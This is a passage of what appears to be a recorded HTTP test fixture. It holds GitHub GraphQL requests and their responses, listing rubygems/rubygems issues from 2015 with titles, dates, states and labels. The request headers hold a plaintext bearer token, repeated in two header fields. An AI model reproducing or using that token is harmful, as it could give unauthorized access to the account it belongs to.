lYXRlZEF0IjoiMjAxNC0xMi0yNlQxMToxMjo1NFoiLCJjbG9zZWRBdCI6IjIwMTQtMTItMjZUMTU6MDQ6MDBaIiwidXBkYXRlZEF0IjoiMjAxNC0xMi0yNlQxNTowNDowMFoiLCJzdGF0ZSI6IkNMT1NFRCIsInRpdGxlIjoiU1NMIEVSUk9SISEiLCJ1cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExMTIiLCJsYWJlbHMiOnsibm9kZXMiOltdfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhOQzB4TWkweU4xUXhOem8xTnpvek1TMHdOVG93TU00REtEcG4iLCJub2RlIjp7Im51bWJlciI6MTExMywiY3JlYXRlZEF0IjoiMjAxNC0xMi0yN1QyMjo1NzozMVoiLCJjbG9zZWRBdCI6IjIwMTQtMTItMjhUMDI6NTc6MzhaIiwidXBkYXRlZEF0IjoiMjAxNC0xMi0yOFQwMjo1NzozOFoiLCJzdGF0ZSI6IkNMT1NFRCIsInRpdGxlIjoiSSBzZWVtIHRvIGhhdmUgdHdvIHVzZXJzIGF0IHJ1YnlnZW1zLm9yZywgb2Ygd2hpY2ggSSBjYW4gb25seSBhY2Nlc3Mgb25lLiIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTExMyIsImxhYmVscyI6eyJub2RlcyI6W119fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE5DMHhNaTB5T1ZReE1qbzFNam95TUMwd05Ub3dNTTRES1pqTSIsIm5vZGUiOnsibnVtYmVyIjoxMTE2LCJjcmVhdGVkQXQiOiIyMDE0LTEyLTI5VDE3OjUyOjIwWiIsImNsb3NlZEF0IjoiMjAxNS0wMS0wMlQxOTowOTozMFoiLCJ1cGRhdGVkQXQiOiIyMDE3LTA1LTA2VDE5OjA3OjAxWiIsInN0YXRlIjoiQ0xPU0VEIiwidGl0bGUiOiJOb3QgYWJsZSB0byB1cGRhdGUgUnVieSBHZW0gR2VtOjpSZW1vdGVGZXRjaGVyOjpGZXRjaEVycm9yIiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMTE2IiwibGFiZWxzIjp7Im5vZGVzIjpbXX19fSx7ImN1cnNvciI6IlkzVnljMjl5T25ZeU9wSzVNakF4TlMwd01TMHdOVlF4TWpvd01Ub3hNeTB3TlRvd01NNERMeGR2Iiwibm9kZSI6eyJudW1iZXIiOjExMTgsImNyZWF0ZWRBdCI6IjIwMTUtMDEtMDVUMTc6MDE6MTNaIiwiY2xvc2VkQXQiOiIyMDE1LTExLTA0VDAzOjQ4OjQyWiIsInVwZGF0ZWRBdCI6IjIwMTUtMTEtMDRUMDM6NDg6NDJaIiwic3RhdGUiOiJDTE9TRUQiLCJ0aXRsZSI6IidnZW0gZ2VuZXJhdGVfaW5kZXgnIGNvbW1hbmQgZG9lc24ndCBmYWlsIGlmIGl0IGNhbid0IHdyaXRlIGluZGV4IGZpbGVzIiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMTE4IiwibGFiZWxzIjp7Im5vZGVzIjpbeyJuYW1lIjoidHlwZTogYnVnIHJlcG9ydCJ9XX19fSx7ImN1cnNvciI6IlkzVnljMjl5T25ZeU9wSzVNakF4TlMwd01TMHdOVlF4TkRvMU9Ub3dOQzB3TlRvd01NNERMMkMxIiwibm9kZSI6eyJudW1iZXIiOjExMTksImNyZWF0ZWRBdCI6IjIwMTUtMDEtMDVUMTk6NTk6MDRaIiwiY2xvc2VkQXQiOiIyMDE2LTAyLTExVDA3OjE5OjQ2WiIsInVwZGF0ZWRBdCI6IjIwMTYtMDItMTFUMDc6MTk6NDZaIiwic3RhdGUiOiJDTE9TRUQiLCJ0aXRsZSI6ImdlbSBjbGVhbnVwIGlzIHRyeWluZyB0byB1bmluc3RhbGwgZGVmYXVsdCBnZW1zIGFuZCByZXBvcnRpbmcgYW4gZXJyb3IgYWZ0ZXIgaXQgdHJpZXMiLCJ1cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExMTkiLCJsYWJlbHMiOnsibm9kZXMiOlt7Im5hbWUiOiJ0eXBlOiBidWcgcmVwb3J0In1dfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhOUzB3TVMwd05WUXhPRG93TWpveE1DMHdOVG93TU00REw3bjUiLCJub2RlIjp7Im51bWJlciI6MTEyMCwiY3JlYXRlZEF0IjoiMjAxNS0wMS0wNVQyMzowMjoxMFoiLCJjbG9zZWRBdCI6IjIwMTUtMTEtMDRUMDM6MTA6MjlaIiwidXBkYXRlZEF0IjoiMjAxNS0xMS0wNFQwMzoxMDoyOVoiLCJzdGF0ZSI6IkNMT1NFRCIsInRpdGxlIjoiSW5zdGFsbGluZyB0aGUgcHJ5IGdlbSBvbiBXaW5kb3dzIGZhaWxzIHN0YXJ0aW5nIHdpdGggcnVieWdlbXMgMi40LjUiLCJ1cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExMjAiLCJsYWJlbHMiOnsibm9kZXMiOltdfX19XX19fX0= http_version: recorded_at: Sat, 06 Jan 2018 15:00:27 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"rubygems\", name: \"rubygems\") {\n issues(first: 100, after: \"Y3Vyc29yOnYyOpK5MjAxNS0wMS0wNVQxODowMjoxMC0wNTowMM4DL7n5\", orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n node {\n number\n createdAt\n closedAt\n updatedAt\n state\n title\n url\n labels(first: 100) {\n nodes {\n name\n }\n }\n }\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:27 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4977' X-Ratelimit-Reset: - '1515254347' Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.435832' X-Github-Request-Id: - A3A4:4D96:971F75:13A4BE9:5A50E48B body: encoding: ASCII-8BIT string: '{"data":{"repository":{"issues":{"edges":[{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0wNlQxMjozMzowOS0wNTowMM4DMPRo","node":{"number":1121,"createdAt":"2015-01-06T17:33:09Z","closedAt":"2016-02-05T23:11:31Z","updatedAt":"2016-02-05T23:11:31Z","state":"CLOSED","title":"''gem generate_index'' should include ''default'' gems","url":"https://github.com/rubygems/rubygems/issues/1121","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0wNlQxNDowMzozMi0wNTowMM4DMRtb","node":{"number":1122,"createdAt":"2015-01-06T19:03:32Z","closedAt":"2015-01-14T03:18:44Z","updatedAt":"2015-01-14T03:18:44Z","state":"CLOSED","title":"Source argument fails in several cases, ignored in others","url":"https://github.com/rubygems/rubygems/issues/1122","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0wOVQxMjowOToxNy0wNTowMM4DNk3k","node":{"number":1129,"createdAt":"2015-01-09T17:09:17Z","closedAt":"2015-01-21T00:01:25Z","updatedAt":"2015-01-21T00:01:25Z","state":"CLOSED","title":"gem open does not change current working directory","url":"https://github.com/rubygems/rubygems/issues/1129","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0wOVQxMjoyMDowNC0wNTowMM4DNlJj","node":{"number":1130,"createdAt":"2015-01-09T17:20:04Z","closedAt":"2015-01-09T17:30:14Z","updatedAt":"2015-01-09T17:30:24Z","state":"CLOSED","title":"Susy 2.1.3 appears on website but isn''t installable","url":"https://github.com/rubygems/rubygems/issues/1130","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0wOVQxNjo1NDowOS0wNTowMM4DNr+U","node":{"number":1132,"createdAt":"2015-01-09T21:54:09Z","closedAt":"2016-02-05T23:33:26Z","updatedAt":"2016-02-05T23:33:26Z","state":"CLOSED","title":"Slow require for the first not exist file","url":"https://github.com/rubygems/rubygems/issues/1132","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0xMFQxNTo0Mzo1Mi0wNTowMM4DN4bp","node":{"number":1133,"createdAt":"2015-01-10T20:43:52Z","closedAt":"2015-01-17T18:29:37Z","updatedAt":"2015-01-17T18:29:37Z","state":"CLOSED","title":"copy to clipboard not working","url":"https://github.com/rubygems/rubygems/issues/1133","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0xOVQxMTo0MjoxOC0wNTowMM4DQ/ce","node":{"number":1141,"createdAt":"2015-01-19T16:42:18Z","closedAt":"2015-01-23T00:04:00Z","updatedAt":"2015-01-24T02:50:28Z","state":"CLOSED","title":"BadRequirementError when dependency in gemspec has both lower and upper version boundary","url":"https://github.com/rubygems/rubygems/issues/1141","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0yMFQwMjozNTo1OS0wNTowMM4DRPqL","node":{"number":1144,"createdAt":"2015-01-20T07:35:59Z","closedAt":"2016-02-06T00:31:45Z","updatedAt":"2016-02-06T00:31:45Z","state":"CLOSED","title":"Fastly SSL Errors (Ruby 1.8.7)","url":"https://github.com/rubygems/rubygems/issues/1144","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0yMVQwODo0NzoyNy0wNTowMM4DR4th","node":{"number":1146,"createdAt":"2015-01-21T13:47:27Z","closedAt":null,"updatedAt":"2016-03-03T17:01:36Z","state":"OPEN","title":"Is it possible to get current signed in user handle","url":"https://github.com/rubygems/rubygems/issues/1146","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0yMVQxNDozNTowMy0wNTowMM4DSD37","node":{"number":1147,"createdAt":"2015-01-21T19:35:03Z","closedAt":"2016-02-28T05:18:36Z","updatedAt":"2016-02-28T05:18:36Z","state":"CLOSED","title":"--no-document rdoc,ri causes error","url":"https://github.com/rubygems/rubygems/issues/1147","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0yMlQxODozNDowMC0wNTowMM4DSqqZ","node":{"number":1148,"createdAt":"2015-01-22T23:34:00Z","closedAt":"2015-01-24T02:22:09Z","updatedAt":"2015-01-24T02:23:45Z","state":"CLOSED","title":"Please remove malicious rails-assets-angular gem","url":"https://github.com/rubygems/rubygems/issues/1148","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0yM1QxNToxOTozNS0wNTowMM4DTDuu","node":{"number":1149,"createdAt":"2015-01-23T20:19:35Z","closedAt":"2016-03-03T17:07:12Z","updatedAt":"2016-03-03T17:07:13Z","state":"CLOSED","title":"BadRequirementError in writing Gemfile.lock when dependency in gemspec has both lower and upper version boundary","url":"https://github.com/rubygems/rubygems/issues/1149","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0yNFQxMToyMTowOC0wNTowMM4DTPj/","node":{"number":1150,"createdAt":"2015-01-24T16:21:08Z","closedAt":"2016-03-03T03:13:04Z","updatedAt":"2016-03-03T03:13:05Z","state":"CLOSED","title":"[gem spec] Output plaintext format instead of ruby ","url":"https://github.com/rubygems/rubygems/issues/1150","labels":{"nodes":[{"name":"category: gem spec"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0yNVQyMzoxOTozOC0wNTowMM4DTggp","node":{"number":1151,"createdAt":"2015-01-26T04:19:38Z","closedAt":"2015-01-26T04:57:14Z","updatedAt":"2017-01-23T18:17:41Z","state":"CLOSED","title":"error installing fastthread: extconf.rb:13:in `block in
'': uninitialized constant Config (NameError)","url":"https://github.com/rubygems/rubygems/issues/1151","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0yNlQxMjoxMDoxNS0wNTowMM4DTwAm","node":{"number":1152,"createdAt":"2015-01-26T17:10:15Z","closedAt":"2016-04-30T20:21:59Z","updatedAt":"2016-04-30T20:22:00Z","state":"CLOSED","title":"Unable to install native, prebuilt, binary gems on Windows anymore","url":"https://github.com/rubygems/rubygems/issues/1152","labels":{"nodes":[{"name":"platform: windows"},{"name":"status: blocked / backlog"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0yN1QxNDoyODo1Ny0wNTowMM4DUVmN","node":{"number":1153,"createdAt":"2015-01-27T19:28:57Z","closedAt":"2015-01-27T22:44:55Z","updatedAt":"2015-01-27T22:53:57Z","state":"CLOSED","title":"Invalid Download Count","url":"https://github.com/rubygems/rubygems/issues/1153","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0yN1QxNDo1NTo0Ni0wNTowMM4DUWab","node":{"number":1154,"createdAt":"2015-01-27T19:55:46Z","closedAt":"2015-01-27T22:29:52Z","updatedAt":"2015-01-27T22:52:43Z","state":"CLOSED","title":"Feature request: Adding a dev_path to gem ''dependency''","url":"https://github.com/rubygems/rubygems/issues/1154","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0yOFQwMzozNDo1Ny0wNTowMM4DUlb5","node":{"number":1155,"createdAt":"2015-01-28T08:34:57Z","closedAt":"2015-01-29T00:36:06Z","updatedAt":"2015-01-29T00:36:06Z","state":"CLOSED","title":"Update gems fails","url":"https://github.com/rubygems/rubygems/issues/1155","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMS0zMFQxMzoyMDowMi0wNTowMM4DV4HA","node":{"number":1158,"createdAt":"2015-01-30T18:20:02Z","closedAt":null,"updatedAt":"2016-03-03T17:36:00Z","state":"OPEN","title":"gem generate_index and SELinux","url":"https://github.com/rubygems/rubygems/issues/1158","labels":{"nodes":[{"name":"platform: linux"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMi0wMlQxNzo1MzoxOS0wNTowMM4DWyrL","node":{"number":1160,"createdAt":"2015-02-02T22:53:19Z","closedAt":"2016-03-14T16:49:59Z","updatedAt":"2016-03-14T16:50:00Z","state":"CLOSED","title":"NoSecurity / No policy behavior is not consistent","url":"https://github.com/rubygems/rubygems/issues/1160","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMi0wNVQwNDozMTozNS0wNTowMM4DYFt2","node":{"number":1161,"createdAt":"2015-02-05T09:31:35Z","closedAt":"2015-02-07T13:42:09Z","updatedAt":"2016-07-09T23:20:14Z","state":"CLOSED","title":"Gem install minitest on NFS fails","url":"https://github.com/rubygems/rubygems/issues/1161","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMi0wNVQxODoyMzo1NC0wNTowMM4DYeDN","node":{"number":1163,"createdAt":"2015-02-05T23:23:54Z","closedAt":"2015-02-05T23:28:56Z","updatedAt":"2015-02-05T23:28:56Z","state":"CLOSED","title":"silence install message via .gemrc","url":"https://github.com/rubygems/rubygems/issues/1163","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMi0wNlQwNDo1MzoxMC0wNTowMM4DYpLk","node":{"number":1164,"createdAt":"2015-02-06T09:53:10Z","closedAt":"2015-02-06T19:51:42Z","updatedAt":"2015-02-06T19:51:42Z","state":"CLOSED","title":"Cannot install gems jruby OSX","url":"https://github.com/rubygems/rubygems/issues/1164","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMi0wOFQxOTo0MTozNi0wNTowMM4DZWU6","node":{"number":1165,"createdAt":"2015-02-09T00:41:36Z","closedAt":"2016-03-14T18:08:33Z","updatedAt":"2016-03-14T18:08:33Z","state":"CLOSED","title":"Feature request: Add sensible aliases","url":"https://github.com/rubygems/rubygems/issues/1165","labels":{"nodes":[{"name":"status: ready"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMi0xM1QwNjozMDowNS0wNTowMM4DbrqE","node":{"number":1166,"createdAt":"2015-02-13T11:30:05Z","closedAt":"2016-03-14T17:38:13Z","updatedAt":"2016-03-14T17:38:14Z","state":"CLOSED","title":"Requiring may now raise Gem::Ext::BuildError instead of LoadError","url":"https://github.com/rubygems/rubygems/issues/1166","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMi0xM1QwNzoyNDoxMy0wNTowMM4Dbsxj","node":{"number":1167,"createdAt":"2015-02-13T12:24:13Z","closedAt":"2016-03-14T17:46:07Z","updatedAt":"2016-03-14T17:46:07Z","state":"CLOSED","title":"require can be very slow with lot of gems","url":"https://github.com/rubygems/rubygems/issues/1167","labels":{"nodes":[{"name":"category: #gem or #require"},{"name":"performance"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMi0xNVQyMDoyNTo0Mi0wNTowMM4DcUo/","node":{"number":1170,"createdAt":"2015-02-16T01:25:42Z","closedAt":"2016-03-14T18:21:36Z","updatedAt":"2016-03-14T18:21:37Z","state":"CLOSED","title":"native extensions installed in 3 places","url":"https://github.com/rubygems/rubygems/issues/1170","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMi0xN1QxODoxMDoyMS0wNTowMM4DdPin","node":{"number":1172,"createdAt":"2015-02-17T23:10:21Z","closedAt":null,"updatedAt":"2016-06-09T09:20:11Z","state":"OPEN","title":"Version#approximate_recommendation suggests invalid specifier for prereleases","url":"https://github.com/rubygems/rubygems/issues/1172","labels":{"nodes":[{"name":"category: API"},{"name":"status: ready"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMi0yMFQwODoyOTozMi0wNTowMM4DemOq","node":{"number":1174,"createdAt":"2015-02-20T13:29:32Z","closedAt":"2016-03-14T18:33:24Z","updatedAt":"2016-03-14T18:33:25Z","state":"CLOSED","title":"uninitialized constant Gem::UserInteraction (NameError)","url":"https://github.com/rubygems/rubygems/issues/1174","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMi0yM1QxNTowMzoyOS0wNTowMM4DfsaL","node":{"number":1176,"createdAt":"2015-02-23T20:03:29Z","closedAt":"2015-10-05T21:53:21Z","updatedAt":"2015-10-05T21:53:21Z","state":"CLOSED","title":"Locks and NFS mounted drives","url":"https://github.com/rubygems/rubygems/issues/1176","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMi0yM1QyMTo1NzozNS0wNTowMM4Df3zr","node":{"number":1177,"createdAt":"2015-02-24T02:57:35Z","closedAt":"2016-04-02T20:46:18Z","updatedAt":"2016-04-02T20:46:18Z","state":"CLOSED","title":"gem from git source slows down ruby on load","url":"https://github.com/rubygems/rubygems/issues/1177","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMi0yNFQwMzoxNDozNy0wNTowMM4Df8oY","node":{"number":1178,"createdAt":"2015-02-24T08:14:37Z","closedAt":"2015-02-24T08:39:30Z","updatedAt":"2015-02-24T08:39:30Z","state":"CLOSED","title":"Update date","url":"https://github.com/rubygems/rubygems/issues/1178","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMi0yOFQxMzoxMjoyMi0wNTowMM4DiaG3","node":{"number":1179,"createdAt":"2015-02-28T18:12:22Z","closedAt":"2015-03-04T02:27:08Z","updatedAt":"2015-03-04T02:27:08Z","state":"CLOSED","title":"[gem install] installs multipe platforms","url":"https://github.com/rubygems/rubygems/issues/1179","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMy0wMlQyMDozOToxNS0wNTowMM4DjScM","node":{"number":1180,"createdAt":"2015-03-03T01:39:15Z","closedAt":null,"updatedAt":"2016-06-09T09:21:16Z","state":"OPEN","title":"UTF-8 still getting error on Cygwin (under Windows)","url":"https://github.com/rubygems/rubygems/issues/1180","labels":{"nodes":[{"name":"platform: windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMy0wNlQwNzowOToxMS0wNTowMM4DlPct","node":{"number":1182,"createdAt":"2015-03-06T12:09:11Z","closedAt":"2016-04-02T22:18:51Z","updatedAt":"2016-04-02T22:18:51Z","state":"CLOSED","title":"Install option --development ignores --prerelease option","url":"https://github.com/rubygems/rubygems/issues/1182","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMy0wNlQwODozNjo1MC0wNTowMM4DlRcM","node":{"number":1183,"createdAt":"2015-03-06T13:36:50Z","closedAt":"2015-03-06T13:43:11Z","updatedAt":"2015-03-06T13:43:11Z","state":"CLOSED","title":"installation issue with \"gem install jekyll\"","url":"https://github.com/rubygems/rubygems/issues/1183","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMy0xOFQxMTozOToyMi0wNDowMM4DvRbQ","node":{"number":1192,"createdAt":"2015-03-18T15:39:22Z","closedAt":"2016-06-05T00:57:35Z","updatedAt":"2016-06-05T00:57:35Z","state":"CLOSED","title":"gem install does not rebuild all instances of a gem","url":"https://github.com/rubygems/rubygems/issues/1192","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMy0yMFQyMDo0Mjo1MS0wNDowMM4Dxnqw","node":{"number":1201,"createdAt":"2015-03-21T00:42:51Z","closedAt":"2016-02-23T03:05:31Z","updatedAt":"2016-02-23T03:05:31Z","state":"CLOSED","title":"ssl_error","url":"https://github.com/rubygems/rubygems/issues/1201","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMy0yM1QxMzoxODo0Ny0wNDowMM4DzTUX","node":{"number":1203,"createdAt":"2015-03-23T17:18:47Z","closedAt":"2016-04-02T23:54:56Z","updatedAt":"2016-04-02T23:54:57Z","state":"CLOSED","title":"gem hazelcast-jars got Gem::RemoteFetcher::FetchError - bad response Not Found","url":"https://github.com/rubygems/rubygems/issues/1203","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMy0yNFQwODozOToyNC0wNDowMM4D0Frn","node":{"number":1204,"createdAt":"2015-03-24T12:39:24Z","closedAt":"2015-05-25T08:51:52Z","updatedAt":"2015-05-25T08:51:52Z","state":"CLOSED","title":"installing gems via Gemfile gemspec","url":"https://github.com/rubygems/rubygems/issues/1204","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMy0yNVQxMzo0NDo1Mi0wNDowMM4D1Zxi","node":{"number":1206,"createdAt":"2015-03-25T17:44:52Z","closedAt":null,"updatedAt":"2016-06-09T09:21:16Z","state":"OPEN","title":"reopening #590","url":"https://github.com/rubygems/rubygems/issues/1206","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMy0yNVQxNDoxNTo0MS0wNDowMM4D1be5","node":{"number":1207,"createdAt":"2015-03-25T18:15:41Z","closedAt":"2015-03-25T18:21:13Z","updatedAt":"2015-03-26T21:54:03Z","state":"CLOSED","title":"Can users use Gemfile support ","url":"https://github.com/rubygems/rubygems/issues/1207","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMy0yNVQyMDo1NTozMy0wNDowMM4D1sLf","node":{"number":1208,"createdAt":"2015-03-26T00:55:33Z","closedAt":"2015-04-27T20:52:46Z","updatedAt":"2015-04-27T20:52:46Z","state":"CLOSED","title":"Symlinks in a gemspec''s files are not packaged","url":"https://github.com/rubygems/rubygems/issues/1208","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMy0yNlQxNDoyNTozNy0wNDowMM4D2bpu","node":{"number":1210,"createdAt":"2015-03-26T18:25:37Z","closedAt":"2016-02-11T02:18:44Z","updatedAt":"2016-02-15T15:27:11Z","state":"CLOSED","title":"Block version of `source` in Gemfile does not work with RUBYGEMS_GEMDEPS","url":"https://github.com/rubygems/rubygems/issues/1210","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMy0yNlQxNTowNjo1NC0wNDowMM4D2d0J","node":{"number":1211,"createdAt":"2015-03-26T19:06:54Z","closedAt":null,"updatedAt":"2016-06-09T09:21:16Z","state":"OPEN","title":"CVE-2013-0334","url":"https://github.com/rubygems/rubygems/issues/1211","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMy0yNlQxNzo1NDo1NS0wNDowMM4D2l4M","node":{"number":1212,"createdAt":"2015-03-26T21:54:55Z","closedAt":"2016-01-19T00:21:42Z","updatedAt":"2016-01-20T03:18:03Z","state":"CLOSED","title":"Be more verbose when installing dependencies from Gemfile","url":"https://github.com/rubygems/rubygems/issues/1212","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMy0yNlQxODozMTo1NC0wNDowMM4D2nRo","node":{"number":1213,"createdAt":"2015-03-26T22:31:54Z","closedAt":"2015-04-12T23:00:19Z","updatedAt":"2016-01-01T21:25:00Z","state":"CLOSED","title":"get rails working without bundler","url":"https://github.com/rubygems/rubygems/issues/1213","labels":{"nodes":[{"name":"category: API"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMy0yN1QwNTo1NDoxNi0wNDowMM4D27PJ","node":{"number":1214,"createdAt":"2015-03-27T09:54:16Z","closedAt":"2015-05-24T17:56:59Z","updatedAt":"2017-10-02T10:53:57Z","state":"CLOSED","title":"ENETRESET in remote_fetcher:api_endpoint on Windows 7 / ruby 2.2 / gems 2.4.5","url":"https://github.com/rubygems/rubygems/issues/1214","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMy0yN1QxMjoxNzoxNi0wNDowMM4D3LLE","node":{"number":1215,"createdAt":"2015-03-27T16:17:16Z","closedAt":"2015-03-27T16:22:57Z","updatedAt":"2015-03-27T16:22:57Z","state":"CLOSED","title":"Can''t install gem locally","url":"https://github.com/rubygems/rubygems/issues/1215","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wMy0zMFQyMDowOTo1MS0wNDowMM4D5OL6","node":{"number":1216,"createdAt":"2015-03-31T00:09:51Z","closedAt":"2015-06-12T03:00:32Z","updatedAt":"2015-06-12T03:00:32Z","state":"CLOSED","title":"gem error with changing version","url":"https://github.com/rubygems/rubygems/issues/1216","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNC0wM1QxMjowNDowMi0wNDowMM4D8b9h","node":{"number":1217,"createdAt":"2015-04-03T16:04:02Z","closedAt":"2015-04-03T20:54:50Z","updatedAt":"2015-04-03T20:54:58Z","state":"CLOSED","title":"Activejob: Error 302","url":"https://github.com/rubygems/rubygems/issues/1217","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNC0wM1QxNDoyODo1MS0wNDowMM4D8jCY","node":{"number":1218,"createdAt":"2015-04-03T18:28:51Z","closedAt":"2015-04-03T18:34:41Z","updatedAt":"2015-04-03T18:35:06Z","state":"CLOSED","title":"xcodeproj 0.23.1 fails to install","url":"https://github.com/rubygems/rubygems/issues/1218","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNC0wM1QxNTo1MzoxMC0wNDowMM4D8me9","node":{"number":1219,"createdAt":"2015-04-03T19:53:10Z","closedAt":"2016-01-31T20:14:54Z","updatedAt":"2016-01-31T20:14:54Z","state":"CLOSED","title":"Gem install Travis fails on windows","url":"https://github.com/rubygems/rubygems/issues/1219","labels":{"nodes":[{"name":"category: install"},{"name":"platform: 